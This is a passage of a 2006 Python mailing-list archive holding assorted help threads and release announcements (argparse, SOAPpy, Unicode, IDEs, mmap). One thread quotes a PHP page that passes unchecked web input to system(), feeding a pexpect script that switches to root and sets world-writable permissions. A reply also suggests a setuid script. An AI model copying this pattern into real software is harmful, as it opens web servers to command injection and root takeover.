v_filename_array=os.listdir(cachedirectory) > >>> x_len=len(v_filename_array)v_filename_array[0] = first file name > v_filename_array[1] - second file name > > Thanks' > Rich From nogradi at gmail.com Sun Oct 1 04:37:35 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Sun, 1 Oct 2006 10:37:35 +0200 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: <1159690187.914063.296330@i3g2000cwc.googlegroups.com> References: <1159690187.914063.296330@i3g2000cwc.googlegroups.com> Message-ID: <5f56302b0610010137x4dfa25e6w3e210f3618ec7bee@mail.gmail.com> > > > Below is a simple program that will cause python to intermittently > > > stop executing for a few seconds. it's 100% reproducible on my > > > machine. > > > > Confirmed with Python 2.4.2 on Windows. > > > > gc.disable() fixes it, so it looks like you found an inefficiency in the > > Python's GC. I have no idea whether this would be considered a bug by > Python's > > developer, but you can try opening a bugreport... > > Reproduced on 2.4.3 and 2.5 on Windows. > Disabling GC fixes the speed problem as Giovanni said, but doesn't > reduce the amount of memory taken (measured by increase in "page file > used" display in Task Manager). At about 520 Mb, this seems rather too > high to me. > > Definitely worth reporting, even if the outcome is only(!) a timbottian > dissertation of why it's not a problem -- at least we'd learn something > :-) This is because the OP violated the Style Guide (PEP 8) and used 'me' instead of 'self' as the first argument of instance methods, the couple of seconds delay in runtime is the revenge of the vicious interpreter :) From bdesth.quelquechose at free.quelquepart.fr Sun Oct 22 17:05:08 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Sun, 22 Oct 2006 23:05:08 +0200 Subject: Python and CMS In-Reply-To: References: Message-ID: <453bd8a4$0$16884$426a74cc@news.free.fr> Echo a ?crit : (snip) > As for working with WSGI, I have found > Colubrid(http://wsgiarea.pocoo.org/colubrid/) and > Paste(http://pythonpaste.org/). I was wondering if anyone knew of any > other libraries that make working with WSGI easier. Pylons (www.pylonshq.com). It's a rail-like framework based on Paste. (snip) > ps. I know that this is a big and complicated project. Really ? Why so ? Writing a configurable, extensible, general purpose can be a "big and complicated project". But writing a "taylor-made", specific one is not that difficult. From steven.bethard at gmail.com Mon Oct 9 16:04:26 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 9 Oct 2006 14:04:26 -0600 Subject: [ANN] argparse 0.1 - Command-line parsing library Message-ID: Announcing argparse 0.1 ----------------------- argparse home: http://argparse.python-hosting.com/ argparse at PyPI: http://www.python.org/pypi/argparse/0.1.0 argparse module download: http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw About this release ================== This release fixes a few minor bugs and adds the 'outfile' type. Extensive updates to the API documentation make this the most thoroughly documented release yet: http://argparse.python-hosting.com/wiki/ArgumentParser New in this release =================== * The 'outfile' type. * API documentation. About argparse ============== The argparse module is an optparse-inspired command line parser that improves on optparse by: * handling both optional and positional arguments * supporting parsers that dispatch to sub-parsers * producing more informative usage messages * supporting actions that consume any number of command-line args * allowing types and actions to be specified with simple callables instead of hacking class attributes like STORE_ACTIONS or CHECK_METHODS as well as including a number of other more minor improvements on the optparse API. To whet your appetite, here's a simple program that sums its command-line arguments and writes them to a file:: parser = argparse.ArgumentParser() parser.add_argument('integers', type=int, nargs='+') parser.add_argument('--log', type='outfile', default=sys.stdout) args = parser.parse_args() args.log.write('%s\n' % sum(args.integers)) args.log.close() From jenann50 at hotmail.com Mon Oct 2 16:21:07 2006 From: jenann50 at hotmail.com (jenann50 at hotmail.com) Date: 2 Oct 2006 13:21:07 -0700 Subject: moving limewire music to my itunes library Message-ID: <1159820467.904936.300170@i42g2000cwa.googlegroups.com> hi all, i know this is probably a silly question but i dont know how to move my limewire tunes to my itunes folder so that i can download them onto my ipod. also if i have a music cd and load it into media windows player, how do i also get that music into my itunes library ta all jen From http Mon Oct 9 18:30:31 2006 From: http (Paul Rubin) Date: 09 Oct 2006 15:30:31 -0700 Subject: Initialization of variables using no-arg constructor References: Message-ID: <7x7iz92kc8.fsf@ruckus.brouhaha.com> "Chris Mellon" writes: > I'm not sure if regular slice notation makes a copy of the list or > not, if it does you can use itertools: > > >>> def sum(list): > ... total = list[0] > ... for v in itertools.islice(list, 1, len(list)): > ... total += v > ... return total > > import operator def sum(list): it = iter(list) a = it.next() return reduce(operator.add, it, a) From ldo at geek-central.gen.new_zealand Sun Oct 8 23:52:03 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 16:52:03 +1300 Subject: changing a file's permissions References: Message-ID: In message , Max Erickson wrote: > James wrote: > >> So my question is: how does one change a file's permissions >> inside of python? > > Assuming you want to operate on the output file: > > import os > os.chmod(path, 755) Shouldn't that be os.chmod(path, 0755) ? Only 755 decimal is unlikely to be a meaningful mode... From jmorgan at ubiquitysoftware.com Wed Oct 4 07:21:06 2006 From: jmorgan at ubiquitysoftware.com (Jonathan Morgan) Date: Wed, 4 Oct 2006 12:21:06 +0100 Subject: SOAPpy Message-ID: <26DF02CA700F674A90A0EB560270894E021E1060@gbnewp0758m.eu.ubiquity.net> Hi, I'm just started playing around with Python to trigger a method in a web service. I've been using SOAPpy and it's incredibly badly documented so i'm not getting very far. What I need to do is create the following in my SOAP body: MyAddress I've managed to kinda do something similar to this with the following piece of code: from SOAPpy import SOAPProxy wsdlurl = 'http://192.168.30.91:6062/mywebservice' # define the namespace namespace = 'http://www.csapi.org/schema/etc...' server = SOAPProxy(wsdlurl) print 'Test: ' + server._ns(namespace).myMethod(address = "MyAddress") This creates the following SOAP XML:
MyAddress
I need to be able to add a namespace to the address parameter so it matches the previous SOAP XML above (n1:address, xmlns, etc.) and, what with Python being new to me and SOAPpy having awful docs, I can't figure out how to do this. Could anyone please help here? Cheers, Jon. Information contained in this e-mail and any attachments are intended for the use of the addressee only, and may contain confidential information of Ubiquity Software Corporation. All unauthorized use, disclosure or distribution is strictly prohibited. If you are not the addressee, please notify the sender immediately and destroy all copies of this email. Unless otherwise expressly agreed in writing signed by an officer of Ubiquity Software Corporation, nothing in this communication shall be deemed to be legally binding. Thank you. From martin.dion at gmail.com Wed Oct 18 16:16:50 2006 From: martin.dion at gmail.com (martdi) Date: 18 Oct 2006 13:16:50 -0700 Subject: pexpect with apache In-Reply-To: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> Message-ID: <1161202610.865795.63830@f16g2000cwb.googlegroups.com> Well, first i don't think it is a good idea to have the python script tu su to root, but for it to work, i think (Totally unsure about that) www has to be in group wheel to be able to su. An other way to make your script run as root is to set the setuid bit on your python script to make it run as root, without using su. half.italian at gmail.com wrote: > Hi all. I try not to post until I am stuck in hole with no way out. I > fought with this for several hours, and am currently in the hole. > > I'm doing a proof of concept for creating afp shares dynamically > through a web interface from a client machine. I use a bit of php to > setup a simple form, and then have the php execute my python script on > the server. The python script tries to 'su' to root to create the > share, create dirs, set perms, etc > > The python script alone works fine as 'www'. I can become 'www', run > it from the command line and the share is made. But when I try to have > the web server execute it, I continually get a password failure. I'm > positive the password is correct. > > Any ideas? > > ~Sean D > > ~~~~~~~~~~~test.py > #! /usr/bin/env python > > import commands, os, P, pexpect > > sharename = sys.argv[1] > > root = "/Users/Shared" > sharepath = os.path.join(root, sharename) > password = P.P() > > COMMAND_PROMPT = '[$%#]' > child = pexpect.spawn('su') > i = child.expect([pexpect.TIMEOUT, '[Pp]assword:'], timeout=1) > child.sendline(password.Decrypt(password.sean)) > > i = child.expect (['su: Sorry', COMMAND_PROMPT]) > > if i == 0: > print 'Password not accepted' > sys.exit(1) > else: > print "Making dir: %s" % sharepath > child.sendline("mkdir %s" % sharepath) > i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) > print "Setting group to 'audio'" > child.sendline("chgrp audio %s" % sharepath) > i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) > print "setting owner to 'audio01'" > child.sendline("chown audio01 %s" % sharepath) > i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) > print "Opening permissions" > child.sendline("chmod 777 %s" % sharepath) > i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) > print "sharing -a %s -s 100" % sharepath > child.sendline("sharing -a %s -s 100" % sharepath) > i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) > sys.exit(0) > > ~~~~~~~~~~~test.php > > > > if (isset($_GET['sharename'])) { > $last_line = system("/Users/Shared/test.py {$_GET['sharename']}", > $retval); > if ($retval == 0) { > echo "

Mount afp://xxx.xxx.xxx.xxx/{$_GET['sharename']}

"; > } else { > echo "

Failed creating share!

"; > } > } else { > > echo "
"; > echo ""; > echo ""; > echo "
Name of share: name='sharename'>
"; > } > > ?> > > From DustanGroups at gmail.com Mon Oct 23 19:32:11 2006 From: DustanGroups at gmail.com (Dustan) Date: 23 Oct 2006 16:32:11 -0700 Subject: Customize the effect of enumerate()? In-Reply-To: References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> <1161603820.012427.121630@m73g2000cwd.googlegroups.com> Message-ID: <1161646331.632907.292940@i42g2000cwa.googlegroups.com> Fredrik Lundh wrote: > "Dustan" wrote: > > > Except that my program is supposed to be treated as a module with tools > > to do certain things. I certainly can't control whether a 3rd party > > programmer uses "import myModule" or "from myModule import *". > > anything can happen if people use "from import *" in the wrong way, so that's > not much of an argument, really. > > My argument was that if they use "import myModule", overriding enumerate() wouldn't work. So "from myModule import *" would work nicely, but not the former. Given that, I'm not getting your rebuttal, or whatever it is. Steven D'Aprano wrote: > On Sun, 22 Oct 2006 15:56:16 -0700, Simon Forman wrote: > > That final else clause is a little funny... What kind of indices are > > you expecting that will be neither less than zero, greater than zero, > > or equal to zero? > > Possible a NaN value? Maybe a class instance with strange comparison > methods? > > Personally, I don't like the error message. "Invalid index" doesn't really > tell the caller what went wrong and why it is an invalid index. If I were > programming that defensively, I'd write: > > if item > 0: > return self.sequence[item-1] > elif item < 0: > return self.sequence[item] > elif item == 0: > raise IndexError, "Index 0 is not valid." > else: > print repr(item) > raise ThisCanNeverHappenError("Congratulations! You've discovered " > "a bug that can't possibly occur. Contact the program author for " > "your reward.") > > I know some programmers hate "Can't happen" tests and error messages, but > if you are going to test for events that can't possibly happen, at least > deal with the impossible explicitly! I certainly can't argue with that logic; I might even go so far as to agree with you and start raising impossible errors with this kind of explicitness. What reward should I offer? ;-) From ericlake at gmail.com Thu Oct 19 15:42:56 2006 From: ericlake at gmail.com (elake) Date: 19 Oct 2006 12:42:56 -0700 Subject: Calling a definition In-Reply-To: References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> Message-ID: <1161286976.227551.256960@m7g2000cwm.googlegroups.com> Thanks for all of the help guys. I am still new to Python so this is part of the learning curve I guess. I will look at the glob module and see if that will do what I need to better. On Oct 19, 3:34 pm, Gabriel Genellina wrote: > At Thursday 19/10/2006 15:43, elake wrote: > > >I have a piece of code that I need some help with. It is supposed (in > >my mind at least) take two arguments, a start path and a file > >extension. Then when called it should return each of the file paths > >that are found matching the criteria. It is only returning the first > >file that it finds. What am I doing wrong?Someone else has shown how to make your code work. But notice that > you don't even need the findFileExt function: see the glob module. > > -- > Gabriel Genellina > Softlab SRL > > __________________________________________________ > Pregunt?. Respond?. Descubr?. > Todo lo que quer?as saber, y lo que ni imaginabas, > est? en Yahoo! Respuestas (Beta). > ?Probalo ya!http://www.yahoo.com.ar/respuestas From horpner at yahoo.com Mon Oct 16 10:12:51 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 16 Oct 2006 16:12:51 +0200 Subject: comparing Unicode and string References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> Message-ID: On 2006-10-16, luc.saffre at gmail.com wrote: > Hello, > > here is something that surprises me. > > #coding: iso-8859-1 I think that's supposed to be: # -*- coding: iso-8859-1 -*- The special comment changes only the encoding of unicode literals. In particular, it doesn't change the default encoding of str literals. > s1=u"Frau M?ller machte gro?e Augen" > s2="Frau M?ller machte gro?e Augen" > if s1 == s2: > pass On my machine, the ? and ? in s2 are being stored in the code points of my terminal's encoding, cp437. Unforunately cp437 code points from 127-255 are not the same as those in iso-8859-1. To fix this, I have to do the following: >>> s1 == s2.decode('cp437') True > Running this code produces a UnicodeDecodeError: > > Traceback (most recent call last): > File "tmp.py", line 4, in ? > if s1 == s2: > UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6: > ordinal not in range(128) > > I would have expected that "s1 == s2" gives True... or maybe > False... but raising an error here is unnecessary. I guess that > the comparison operator decides to convert s2 to a Unicode but > forgets that I said #coding: iso-8859-1 at the beginning of the > file. It's trying to interpret s2 as ascii, and failing, since 129 and 225 code points are out of range. -- Neil Cerutti From steveadi at gmail.com Sat Oct 28 11:53:19 2006 From: steveadi at gmail.com (frankie_85) Date: 28 Oct 2006 08:53:19 -0700 Subject: Need help (Basic python)...what did I do wrong? In-Reply-To: <29c1a$454332e1$544ab808$5911@news.hispeed.ch> References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> <29c1a$454332e1$544ab808$5911@news.hispeed.ch> Message-ID: <1162050799.561792.6010@e3g2000cwe.googlegroups.com> Thanks for some of the helps guys. Hmmm....after more trials and errors, I think what I did wrong is along on these lines: a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3))) c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3))) d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3))) e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3))) but I still don't understand though why the variable a, b, c, d, e becomes an int type even though I have already specified the user input to be floating point? Once again thanks for all your help From steven.bethard at gmail.com Tue Oct 10 19:06:03 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 10 Oct 2006 17:06:03 -0600 Subject: [ANN] argparse 0.1 - Command-line parsing library In-Reply-To: References: Message-ID: Steven Bethard wrote: > Announcing argparse 0.1 > ----------------------- > > argparse home: > http://argparse.python-hosting.com/ > > argparse at PyPI: > http://www.python.org/pypi/argparse/0.1.0 > > argparse module download: > http://argparse.python-hosting.com/file/trunk/argparse.py?format=raw The argparse module is now also available through PyPI with source and Windows binary downloads: http://cheeseshop.python.org/packages/source/a/argparse/argparse-0.1.0.tar.gz http://cheeseshop.python.org/packages/any/a/argparse/argparse-0.1.0.win32.exe Happy parsing! From jstroud at mbi.ucla.edu Thu Oct 19 22:50:47 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 20 Oct 2006 02:50:47 GMT Subject: Lead Software Engineer In-Reply-To: <1161301345.261642.247810@b28g2000cwb.googlegroups.com> References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> <1161301345.261642.247810@b28g2000cwb.googlegroups.com> Message-ID: alex23 wrote: > Emma wrote: > >>5. Please provide us with a comparison of the following music discovery >> >>sites: >> >>http://www.blogmusik.net >>http://www.seeqpod.com/music >>http://www.finetune.com >>http://www.webjay.com >> >>For each of these we like to know: >>A) What you like and dislike about each of these. >>B) Which one you like the best. >>C) Which one you think others might like the best. >>D) How you would improve the one you like. > > > There _are_ no jobs on offer here. This is just a cheap attempt at > getting free survey data. > > - alex23 > They would get more data if they lowered their expectations for the programmer position. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From rainwolf at gmail.com Wed Oct 4 12:48:28 2006 From: rainwolf at gmail.com (wal) Date: Wed, 4 Oct 2006 18:48:28 +0200 Subject: libgmail: attaching files Message-ID: <4523e5dc$0$5539$ba620e4c@news.skynet.be> How does one attach files to emails using libgmail? The following code http://pramode.net/articles/lfy/fuse/4.txt works fine when said files are simple text files, but it failes as soon as the files are wild binary files, even attaching the source of an email in a text file (.eml files) failes. What am I missing here? Any hints? The output I get when attemting to send binary files using the code above is pasted below. have fun, wal ---------------------------------- Traceback (most recent call last): File "C:\Documents and Settings\lucp1735\Desktop\libgmail-0.1.5.1\knujon.py", line 24, in if ga.sendMessage(fs): File "C:\Documents and Settings\lucp1735\Desktop\libgmail-0.1.5.1\libgmail.py", line 582, in sendMessage msgStr = mimeMessage.as_string() File "C:\program files\Python25\lib\email\message.py", line 131, in as_string g.flatten(self, unixfrom=unixfrom) File "C:\program files\Python25\lib\email\generator.py", line 84, in flatten self._write(msg) File "C:\program files\Python25\lib\email\generator.py", line 109, in _write self._dispatch(msg) File "C:\program files\Python25\lib\email\generator.py", line 135, in _dispatch meth(msg) File "C:\program files\Python25\lib\email\generator.py", line 201, in _handle_multipart g.flatten(part, unixfrom=False) File "C:\program files\Python25\lib\email\generator.py", line 84, in flatten self._write(msg) File "C:\program files\Python25\lib\email\generator.py", line 109, in _write self._dispatch(msg) File "C:\program files\Python25\lib\email\generator.py", line 135, in _dispatch meth(msg) File "C:\program files\Python25\lib\email\generator.py", line 266, in _handle_message g.flatten(msg.get_payload(0), unixfrom=False) File "C:\program files\Python25\lib\email\message.py", line 185, in get_payload raise TypeError('Expected list, got %s' % type(self._payload)) TypeError: Expected list, got From fredrik at pythonware.com Fri Oct 13 12:09:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 18:09:23 +0200 Subject: Appropriate way to quit Tkinter In-Reply-To: <1160700517.014505.304880@b28g2000cwb.googlegroups.com> References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> <1160700517.014505.304880@b28g2000cwb.googlegroups.com> Message-ID: mzdude wrote: >> works for me. are you perhaps running this under some kind of IDE that >> keeps the process running even after the program has terminated? >> > It works the same way if I run from IDLE or from the DOS command prompt. I find very hard to believe that a Python interpreter run from the DOS command prompt wouldn't terminate when it reaches the end of the main program. what Python distribution are you using? From bj_666 at gmx.net Wed Oct 11 05:00:01 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Wed, 11 Oct 2006 11:00:01 +0200 Subject: what is this UnicodeDecodeError:....? References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com> <1160515979.332472.223430@c28g2000cwb.googlegroups.com> Message-ID: In <1160515979.332472.223430 at c28g2000cwb.googlegroups.com>, John Machin wrote: > Marc 'BlackJack' Rintsch wrote: > >> Because you are trying to compare a unicode string `val` with a byte >> string in the list. The unicode string will be converted to a byte string >> for this comparison with the default encoding: ASCII. > > :-) > > I presume you must live north of the equator. Down under, it seems to > happen the other way up -- the byte strings are decoded to unicode: (-: Ooops, I stand corrected. :-) Ciao, Marc 'BlackJack' Rintsch From pecora at anvil.nrl.navy.mil Tue Oct 17 11:13:04 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 11:13:04 -0400 Subject: How to invoke ipython in Mac OS X? References: <1161096254.691132.222220@e3g2000cwe.googlegroups.com> Message-ID: In article <1161096254.691132.222220 at e3g2000cwe.googlegroups.com>, "Jerry" wrote: > Did you install it with the --install-scripts command line option? If > you did, then there will be a ipython script located in the > $INSTALL_SCRIPTS/bin directory. If you didn't, then I think the > default location is /usr/lib/python or something like that. No, I did not use the install-scripts command line option. It was installed from the Package (it's down there in /Library/Frameworks/Python...blah, blah/site-packages/IPython). -- Lou Pecora (my views are my own) REMOVE THIS to email me. From casagiuseppe2006 at libero.it Fri Oct 13 12:02:02 2006 From: casagiuseppe2006 at libero.it (giuseppe) Date: Fri, 13 Oct 2006 16:02:02 GMT Subject: IDE References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <_LOXg.1933$uv5.11438@twister1.libero.it> for example I ask wingware python IDE is good? other program similar is better? joe "Theerasak Photha" ha scritto nel messaggio news:mailman.456.1160755099.11739.python-list at python.org... > On 10/13/06, giuseppe wrote: >> What is the better IDE software for python programming? > > Long story short, I use Emacs 22 from CVS (text editor on steroids), > but SPE looks like a good bet. > > It all depends on criteria! There's a million free variables in your > request... > > --- Theerasak From tjreedy at udel.edu Sun Oct 8 16:18:59 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 8 Oct 2006 16:18:59 -0400 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: "Giovanni Bajo" wrote in message news:nMXVg.139289$_J1.908829 at twister2.libero.it... > tracker. I was claiming that, if such a group was ever formed, it was > better > spent on bug triage rather than keeping their keys ready all day long to > quick-fix any server breakage in minutes. This could be made into an argument for accepting the Jira offer so we don't 'waste' *any* more Python-knowledgable volunteer time on admin. However, thinking about it more, I think that wrestling with a software system like Roundup and interacting with sometimes naive and non-responsive bug submitters are two different skills and likely to attract different volunteers. [snip] > Either close directly any nonsense, or ask for more feedback to the > poster, > until the bug/patch/rfe is sufficiently clear to be handled, or 3 months > are > passed and you close the bug for "no further feedback from the poster". > If this > would dramatically reduce the number of open bugs, then yes, Python > really > needs someone to do bug triaging. I have thought this for some time based on my occasional efforts at 'first-response' reviewing. But I have not tried to do anything because of the difficulty of working with the SF tracker. Perhaps submissions by new submitters should start in 'limbo' until rejected or accepted into active open status. I hope that whichever new tracker we get will allow for automated followups at determined intervals, such as 3 mos or whatever. > It might be not a good use of your time at all, since you are a > developer. But > having a database with 938 open bugs most of which are > incomplete/nonsense/unconfirmed is much less useful than it could be. Perhaps when the new tracker is set up, you can help scratch the 'too many open bugs' itch. > It also > raises the bar for new developers: it's much harder to just "pick one" > and fix > it. I know because I tried sometimes, and after half an hour I couldn't > find > any bug that was interesting to me and "complete" enough to work on it. I > also > noticed that most bugs are totally uncommented like nobody cared at all. > This > is where my thought about Python missing bug triaging started. s/most/some/ When I read a bug with no comment I sometimes put extra energy into thinking of something to say or ask just so the reporter will know the report has been read. Terry Jan Reedy From deets at nospam.web.de Fri Oct 13 11:55:21 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 13 Oct 2006 17:55:21 +0200 Subject: SOAPpy and callback In-Reply-To: <_8NXg.46981$DU3.27448@tornado.texas.rr.com> References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> <_8NXg.46981$DU3.27448@tornado.texas.rr.com> Message-ID: <4p9r78Fi2olfU1@uni-berlin.de> Paul McGuire schrieb: > "Diez B. Roggisch" wrote in message > news:4p94a0Fhr1amU1 at uni-berlin.de... >> fabien.benard at gmail.com schrieb: >>> Hello, >>> >>> I'm trying to find how to use a callback in a SOAP client using SOAPpy. >>> Does SOAPpy have to manage it, or does Python include some API to do >>> it? >> I've never seen any callback mentioned in SOAP. Are you sure this is >> possible with any SOAP implementation, at least standard-wise? > This is most definitely possible, in fact it is the basis for a new > asynchronous data collection standard for semiconductor equipment, Interface > A (replacing the ancient SECS/GEM interface, originally designed to work > over RS-232). However, it is a major pain to implement. I don't call 'you can do that on your own' as standard-wise. Certainly you can run two servers, make sure they are mutually reachable, and client and server share the same process space. But that is not a callback - it is, as you say, a PITA. And a massive lack in the SOAP standard. Regards, Diez From http Tue Oct 3 21:42:16 2006 From: http (Paul Rubin) Date: 03 Oct 2006 18:42:16 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <7xzmcc97rb.fsf@ruckus.brouhaha.com> Fredrik Lundh writes: > > Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco? > > depends on what you consider being the cause of that fiasco. I'm not > sure it was quite as simple as people are trying to make it sound... I remember there being some urgency to move away from BitKeeper because some counter (like a 16-bit file version number that got incremented on every check-in of the file, or something like that) was about to overflow, and only the non-free version allocated more bits for the counter. That was why Git had to be thrown together in just a few weeks. From larry.bates at websafe.com Wed Oct 4 19:17:44 2006 From: larry.bates at websafe.com (Larry Bates) Date: Wed, 04 Oct 2006 18:17:44 -0500 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. > > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). > > Please discuss where Python shines. > Gord > > With python I can write: Windows simple/complex scripts Windows console applications Windows COM objects Windows Services Windows GUI applications (wxPython, QT, TK) Windows games Web framework based apps (Zope, CherryPie, TurboGears, etc). Linux simple/complex scripts Linux console applications Linux daemons Linux GUI applications (wxPython, QT, TK) Linux games Mac simple/complex scripts Mac console applications Mac daemons Mac GUI applications (wxPython, QT, TK) Mac games Web framework based apps (Zope, CherryPie, TurboGears, etc). (I haven't personally done a lot on the Mac, but I understand that these can be done) Web CGI applications Web active server pages Web soap/XML applications Try to cover all those bases in any of the "big 3". With anything other than Python I find I must use multiple languages and many different collections of libraries. With Python I'm not constantly bouncing back-and-forth between languages and now I seem to be always getting better at writing... you guessed it...Python. Instead of learning a new language every time I change platforms, I just add libraries/modules that meet the specific needs of the platform or the application that I'm trying to implement. With version upgrades of multiple languages on multiple platforms with upgrades to multiple standard libraries, it was getting completely unmanageable. If you only have to deal with GUI apps on Windows I guess VB or Delphi would be fine. If you need to deploy to multiple platforms (Windows, Linux, Mac) IMHO neither of them will work very well. C++ is as portable, but the extra code that you must write would be substantial. -Larry Bates From mail at microcorp.co.za Fri Oct 20 02:42:47 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 20 Oct 2006 08:42:47 +0200 Subject: Converting existing module/objects to threads References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> Message-ID: <038d01c6f413$204b4e80$03000080@hendrik> wrote: > I have inheirted some existing code, that i will explain in a moment, > have needed to extend and ultimately should be able to run in threads. > I've done a bunch of work with python but very little with threads and > am looking for some pointers on how to implement, and if the lower > level modules/objects need to be rewritten to use threading.local for > all local variables. > > I have a module that communicates with a hardware device, which reads > data off of sensors, that can only talk with one controller at a time. > The controller (my module) needs to (in its simplest form) init, > configure the device, request data, and write out xml, sleep, repeat. > > The new request is that the device needs to be queried until a > condition is true, and then start requesting data. So an instance of a > controller needs to be deadicated to a hardware device forever, or > until the program ends....which ever comes first. > > This currently works in a non-threaded version, but only for one device > at a time, there is a need to create a single windows(yeach) service > that talks to many of these devices at once. I don't need worker > threads that handle seperate portions of the entire job, i need a > single application to spawn multiple processes to run through the > entire communication from configure to report, sleep until the next > interval time and run again. The communication could last from 1 > minute to 10 minutes before it ends. 8<------------------------------------------------------------------------------ not sure if I understand this correctly - but I would in this position spawn new threads, and use a global list of queues to interface between the new threads and the old comms module, still talking to one device at a time, but now time sliced. - in the comms module: for q in list_of_queues: see if anything to ask: continue if not ask it and put answer on reply queue but then I am a Philistine coder, interested only in getting the job done... - Hendrik From jstroud at mbi.ucla.edu Tue Oct 3 07:52:15 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Tue, 03 Oct 2006 11:52:15 GMT Subject: py2app console Message-ID: Hello, Does anyone know of the most straightforward way to get rid of the intensely annoying "console" window that py2app feels so compelled to create? On a related but less important note, why would anyone want that stupid window in the first place? James From pandyacus.xspam at xspam.sbcglobal.net Thu Oct 26 03:25:38 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Thu, 26 Oct 2006 07:25:38 GMT Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> <1161730045.377608.221250@e3g2000cwe.googlegroups.com> <7xr6wvbsf2.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > "sturlamolden" writes: >> However, "memory mapping" a file by means of fseek() is probably more >> efficient than using UNIX' mmap() or Windows' >> CreateFileMapping()/MapViewOfFile(). > > Why on would you think that?! It is counterintuitive. fseek beyond > whatever is buffered in stdio (usually no more than 1kbyte or so) > requires a system call, while mmap is just a memory access. And the buffer copy required with every I/O from/to the application. >> In Python, we don't always need the file memory mapped, we normally >> just want to use slicing-operators, for-loops and other goodies on >> the file object -- i.e. we just want to treat the file as a Python >> container object. There are many ways of achieving that. > > Some of the time we want to share the region with other processes. > Sometimes we just want random access to a big file on disk without > having to do a lot of context switches seeking around in the file. > >> There are in any case room for improving Python's mmap object. > > IMO it should have some kind of IPC locking mechanism added, in > addition to the offset stuff suggested. The type of IPC required differs depending on who is using the shared region - either another python process or another external program. Apart from the spinlock primitives, other types of synchronization mechanisms are provided by the OS. However, I do see value in providing a shared memory based spinlock mechanism. These services can be built on top of the shared memory infrastructure. I am not sure what kind or real world python applications use it. -Chetan From grante at visi.com Fri Oct 13 11:14:44 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 13 Oct 2006 15:14:44 -0000 Subject: Best IDE? References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <12ivbb480ht02db@corp.supernews.com> On 2006-10-13, Ahmer wrote: > What do you guys use? jed along with bash et. al. > Why? Because it's efficient and it's what I use for all other languages. > What do you like and hate about it? If there was something I hated about it, I wouldn't use it. > What platform(s) is it avalable on? Unix/Linux and Win32. > How much does it cost? Nothing. > etc. 42 -- Grant Edwards grante Yow! I'd like TRAINED at SEALS and a CONVERTIBLE on visi.com my doorstep by NOON!! From john106henry at hotmail.com Fri Oct 6 14:05:37 2006 From: john106henry at hotmail.com (John Henry) Date: 6 Oct 2006 11:05:37 -0700 Subject: Need array help In-Reply-To: References: Message-ID: <1160157937.460613.204180@i3g2000cwc.googlegroups.com> Others posted answer to your question. If you are serious about programming in Python, I highly recommend that you don't try to think in terms of "I did this in Visual Basic, how do I do this in Python". You'll end up with Python code that are nothing but a VB look alike. As recommended by others, go througth the tutorial. 